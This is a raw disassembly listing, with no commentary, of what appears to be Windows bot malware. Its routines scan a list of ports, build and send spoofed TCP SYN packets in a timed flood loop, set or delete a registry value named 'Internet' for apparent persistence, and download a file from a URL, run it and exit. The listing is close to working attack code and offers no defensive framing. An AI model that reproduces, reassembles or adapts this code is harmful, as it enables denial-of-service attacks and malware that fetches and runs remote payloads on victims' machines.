		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4272FC	; select
		test	eax, eax
		jnz	short loc_4074F4
		or	eax, 0FFFFFFFFh
		jmp	short loc_40754C
; ---------------------------------------------------------------------------


loc_4074F4:				; CODE XREF: sub_407467+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_4074FF


loc_4074FB:				; CODE XREF: sub_407467+B8j
					; sub_407467+DCj
		mov	eax, edi
		jmp	short loc_40754C
; ---------------------------------------------------------------------------


loc_4074FF:				; CODE XREF: sub_407467+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_419A30	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_407521
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_419A30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4074FB


loc_407521:				; CODE XREF: sub_407467+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_41A190	; getsockopt
		cmp	eax, edi
		jz	short loc_4074FB
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_40754C:				; CODE XREF: sub_407467+24j
					; sub_407467+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_407467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407550	proc near		; CODE XREF: sub_4073B3+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_41A18C	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_428148, eax
		call	dword_4272F4	; setsockopt
		mov	esi, dword_41A090
		call	esi	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_407696:				; CODE XREF: sub_407550+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_427314	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_427394	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_407467
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4273AC	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_407709
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_407709:				; CODE XREF: sub_407550+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_407696
		mov	edi, offset dword_42814C
		push	offset dword_41F770
		push	edi
		call	sub_40EE10
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_407736:				; CODE XREF: sub_407550+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_40778E
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_407767
		push	eax
		push	edi
		push	offset dword_41F768
		push	edi
		mov	[ebp+var_10], eax
		call	sub_40EE10
		add	esp, 10h
		jmp	short loc_407781
; ---------------------------------------------------------------------------


loc_407767:				; CODE XREF: sub_407550+200j
		push	0FFFFh
		push	ebx
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		call	dword_427314	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_407781:				; CODE XREF: sub_407550+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_407736


loc_40778E:				; CODE XREF: sub_407550+1F7j
					; sub_407550+477j
		push	28h
		push	ebx
		push	offset byte_4280E8
		call	sub_40E800
		mov	esi, 0FFFFh
		mov	byte_4280E8, 45h
		push	esi
		push	400h
		mov	byte_4280F1, 6
		mov	byte_4280E9, 8
		call	sub_40DE3E
		add	esp, 14h
		push	eax
		call	dword_427314	; htons
		push	28h
		mov	word_4280EC, ax
		call	dword_427314	; htons
		or	byte_4280F0, 0FFh
		cmp	dword_4280D8, ebx
		mov	word_4280EA, ax
		mov	word_4280EE, bx
		jnz	short loc_40780E
		push	0FFFEh
		push	1
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_407819
; ---------------------------------------------------------------------------


loc_40780E:				; CODE XREF: sub_407550+2A2j
		push	offset dword_427AB8
		call	dword_427354	; inet_addr


loc_407819:				; CODE XREF: sub_407550+2BCj
		mov	dword_4280F4, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4280F8, eax
		mov	byte_428109, bl
		call	dword_427314	; htons
		push	esi
		push	ebx
		mov	word_42810A, ax
		call	sub_40DE3E
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_40DE3E
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_427310	; htonl
		mov	dword_428100, eax
		mov	al, byte_428108
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_428108, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_428104, ebx
		mov	word_42810E, bx
		mov	word_4280FE, ax
		mov	dword_428124, edi
		mov	byte_428128, bl
		mov	byte_428129, 6
		call	dword_427314	; htons
		mov	word_42812A, ax
		mov	ax, word_4280FE
		mov	word_428110, 2
		mov	dword_428114, edi
		mov	word_428112, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_4078CF
; ---------------------------------------------------------------------------


loc_4078CA:				; CODE XREF: sub_407550+451j
		mov	esi, 0FFFFh


loc_4078CF:				; CODE XREF: sub_407550+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407903
		push	esi
		push	ebx
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		call	dword_427314	; htons
		mov	word_4280FC, ax
		mov	eax, dword_4280F4
		mov	dword_428120, eax
		mov	byte_428109, 2
		mov	dword_428104, ebx
		jmp	short loc_407922
; ---------------------------------------------------------------------------


loc_407903:				; CODE XREF: sub_407550+382j
		push	esi
		push	ebx
		mov	byte_428109, 10h
		call	sub_40DE3E
		pop	ecx
		pop	ecx
		push	eax
		call	dword_427314	; htons
		movzx	eax, ax
		mov	dword_428104, eax


loc_407922:				; CODE XREF: sub_407550+3B1j
		inc	word_4280EC
		inc	dword_428100
		mov	ax, word_4280FE
		push	5
		pop	ecx
		mov	esi, offset word_4280FC
		mov	edi, offset dword_42812C
		mov	word_4280F2, bx
		mov	word_42810C, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4280E8
		mov	word_428112, ax
		push	esi
		call	sub_404F93
		push	20h
		push	offset dword_428120
		mov	word_4280F2, ax
		call	sub_404F93
		add	esp, 10h
		mov	word_42810C, ax
		push	10h
		push	offset word_428110
		push	ebx
		push	28h
		push	esi
		push	dword_428148
		call	dword_427378	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_4078CA
		call	dword_41A090	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4079CC
		push	[ebp+arg_8]
		call	dword_41A060	; Sleep
		jmp	loc_40778E
; ---------------------------------------------------------------------------


loc_4079CC:				; CODE XREF: sub_407550+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_42814C
		pop	ebx
		leave
		retn
sub_407550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079D6	proc near		; CODE XREF: sub_40997B+3D02p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_41F788
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42C558


loc_407A00:				; CODE XREF: sub_4079D6+72j
		cmp	byte ptr [esi],	0
		jz	short loc_407A3B
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_41F774
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40E7AB
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 2Ch


loc_407A3B:				; CODE XREF: sub_4079D6+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_42D0D8
		jl	short loc_407A00
		pop	edi
		pop	esi
		leave
		retn
sub_4079D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A4E	proc near		; CODE XREF: .packed:00402C1Ep
					; sub_402C55+575p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_41A0F0	; GetLocalTime
		mov	ebx, offset dword_42C54C
		mov	edi, 80h
		mov	esi, offset dword_42854C


loc_407A70:				; CODE XREF: sub_407A4E+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_407A87
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_410090
		add	esp, 0Ch


loc_407A87:				; CODE XREF: sub_407A4E+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_407A70
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_40E7AB
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407A4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AC2	proc near		; CODE XREF: sub_4095BB+DEp
					; sub_40997B:loc_409F0Dp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_410704
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_407A4E
		add	esp, 14h
		leave
		retn
sub_407AC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407AEE	proc near		; CODE XREF: sub_40997B+3BFEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42854C
		xor	ecx, ecx


loc_407AF5:				; CODE XREF: sub_407AEE+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_42C54C
		jl	short loc_407AF5
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_41F7C8
		jnz	short loc_407B25
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4084CC
		add	esp, 14h


loc_407B25:				; CODE XREF: sub_407AEE+1Fj
		push	esi
		call	sub_407A4E
		pop	ecx
		pop	esi
		retn
sub_407AEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B2E	proc near		; DATA XREF: sub_40997B+3CAEo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_407B81
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_41F810
		push	eax
		push	[ebp+var_11C]
		call	sub_4084CC
		add	esp, 14h


loc_407B81:				; CODE XREF: sub_407B2E+33j
		cmp	[ebp+var_98], 0
		jz	short loc_407BA1
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_40FB66
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_407BA1
		mov	[ebp+var_8], eax


loc_407BA1:				; CODE XREF: sub_407B2E+5Aj
					; sub_407B2E+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42854C


loc_407BAA:				; CODE XREF: sub_407B2E+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_407C04
		cmp	byte ptr [esi],	0
		jz	short loc_407BF3
		cmp	[ebp+var_98], 0
		jz	short loc_407BD9
		cmp	[ebp+var_4], 0
		jnz	short loc_407BD9
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_404A4A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407BF3


loc_407BD9:				; CODE XREF: sub_407B2E+90j
					; sub_407B2E+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_4084CC
		add	esp, 14h


loc_407BF3:				; CODE XREF: sub_407B2E+87j
					; sub_407B2E+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_42C54C
		jl	short loc_407BAA


loc_407C04:				; CODE XREF: sub_407B2E+82j
		lea	eax, [ebp+var_31C]
		push	offset unk_41F7E8
		push	eax
		call	sub_40EE10
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_407C3E
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_4084CC
		add	esp, 14h


loc_407C3E:				; CODE XREF: sub_407B2E+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_407A4E
		push	[ebp+var_18]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_407B2E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C5D	proc near		; CODE XREF: sub_404CE2+1Ep
					; sub_409034+368p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_41F830
		xor	esi, esi
		mov	ebx, offset aInternet ;	"Internet"


loc_407C70:				; CODE XREF: sub_407C5D+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4272C8	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_407CAA
		push	[ebp+arg_0]
		call	sub_40E730
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_427338	; RegSetValueExA
		jmp	short loc_407CB4
; ---------------------------------------------------------------------------


loc_407CAA:				; CODE XREF: sub_407C5D+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_427280	; RegDeleteValueA


loc_407CB4:				; CODE XREF: sub_407C5D+4Bj
		push	[ebp+var_4]
		call	dword_4272F0	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_41F848
		jb	short loc_407C70
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CCD	proc near		; DATA XREF: sub_40997B+1CA8o
					; sub_40997B+1E33o

var_5C4		= qword	ptr -5C4h
var_5B8		= qword	ptr -5B8h
var_58C		= qword	ptr -58Ch
var_580		= qword	ptr -580h
var_50C		= byte ptr -50Ch
var_30C		= dword	ptr -30Ch
var_300		= dword	ptr -300h
var_2E0		= dword	ptr -2E0h
var_2DC		= word ptr -2DCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_244		= byte ptr -244h
var_144		= byte ptr -144h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_2C8]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A0h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_244]
		push	esi
		push	eax
		push	dword_4272C4
		call	dword_427224	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_408175
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_144]
		push	40000000h
		push	eax
		call	dword_41A074	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_14], eax
		jnb	short loc_407D94
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_50C]
		push	offset dword_41FAAC
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_407D77
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		add	esp, 14h


loc_407D77:				; CODE XREF: sub_407CCD+88j
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		push	[ebp+var_44]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread


loc_407D94:				; CODE XREF: sub_407CCD+68j
		xor	edi, edi
		call	dword_41A090	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_40E882
		pop	ecx
		mov	[ebp+var_20], eax


loc_407DAE:				; CODE XREF: sub_407CCD+1B4j
		push	200h
		lea	eax, [ebp+var_50C]
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_50C]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_42722C	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_407DF2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_4081DB
		pop	ecx
		pop	ecx


loc_407DF2:				; CODE XREF: sub_407CCD+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_50C]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_14]
		call	dword_41A06C	; WriteFile
		cmp	edi, ebx
		jnb	short loc_407E30
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_407E1A
		mov	eax, [ebp+arg_0]


loc_407E1A:				; CODE XREF: sub_407CCD+148j
		push	eax
		lea	eax, [ebp+var_50C]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, edi
		push	eax
		call	sub_40E940
		add	esp, 0Ch


loc_407E30:				; CODE XREF: sub_407CCD+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_38], esi
		jz	short loc_407E3D
		cmp	edi, [ebp+var_38]
		ja	short loc_407E87


loc_407E3D:				; CODE XREF: sub_407CCD+169j
		cmp	[ebp+var_40], 1
		mov	eax, edi
		jz	short loc_407E57
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		push	offset unk_41FA64
		jmp	short loc_407E67
; ---------------------------------------------------------------------------


loc_407E57:				; CODE XREF: sub_407CCD+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		push	offset dword_41FA24


loc_407E67:				; CODE XREF: sub_407CCD+188j
		mov	eax, [ebp+var_44]
		imul	eax, 234h
		add	eax, offset dword_42D0D8
		push	eax
		call	sub_40EE10
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_407DAE


loc_407E87:				; CODE XREF: sub_407CCD+16Ej
		cmp	[ebp+var_38], esi
		mov	[ebp+var_1C], 1
		jz	short loc_407EDC
		cmp	edi, [ebp+var_38]
		jz	short loc_407EDC
		push	[ebp+var_38]
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_1C], esi
		push	edi
		push	offset dword_41F9E4
		push	eax
		call	sub_40EE10
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		add	esp, 28h


loc_407EDC:				; CODE XREF: sub_407CCD+1C4j
					; sub_407CCD+1C9j
		call	dword_41A090	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_14]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_41A068	; CloseHandle
		push	[ebp+var_20]
		call	sub_40ECAF
		cmp	[ebp+var_1C], esi
		pop	ecx
		jz	loc_4081C2
		cmp	[ebp+var_40], 1
		jz	loc_40807D
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_41A240
		lea	eax, [ebp+var_144]
		fstp	[esp+580h+var_580]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_50C]
		fmul	dbl_41A240
		fstp	[esp+58Ch+var_58C]
		push	offset unk_41F994
		push	eax
		call	sub_40EE10
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_407F86
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		add	esp, 14h


loc_407F86:				; CODE XREF: sub_407CCD+297j
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		cmp	[ebp+var_3C], 1
		pop	ecx
		mov	edi, offset aOpen ; "open"
		jnz	short loc_407FFA
		push	5
		push	esi
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	edi
		push	esi
		call	dword_427288
		cmp	[ebp+var_30], esi
		jnz	short loc_407FFA
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_50C]
		push	offset dword_41F964
		push	eax
		call	sub_40EE10
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		add	esp, 24h


loc_407FFA:				; CODE XREF: sub_407CCD+2CFj
					; sub_407CCD+2E7j
		cmp	[ebp+var_3C], 2
		jnz	loc_4081C2
		push	5
		push	esi
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	edi
		push	esi
		call	dword_427288
		cmp	[ebp+var_30], esi
		jnz	short loc_408060
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_50C]
		push	offset unk_41F924
		push	eax
		call	sub_40EE10
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		add	esp, 24h


loc_408060:				; CODE XREF: sub_407CCD+34Dj
		push	3E8h
		call	dword_41A060	; Sleep
		call	dword_427274	; WSACleanup
		call	sub_404CE2
		push	esi
		call	dword_41A0F4	; ExitProcess


loc_40807D:				; CODE XREF: sub_407CCD+24Bj
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_41A240
		lea	eax, [ebp+var_144]
		fstp	[esp+5B8h+var_5B8]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_50C]
		fmul	dbl_41A240
		fstp	[esp+5C4h+var_5C4]
		push	offset dword_41F8CC
		push	eax
		call	sub_40EE10
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4080E5
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		add	esp, 14h


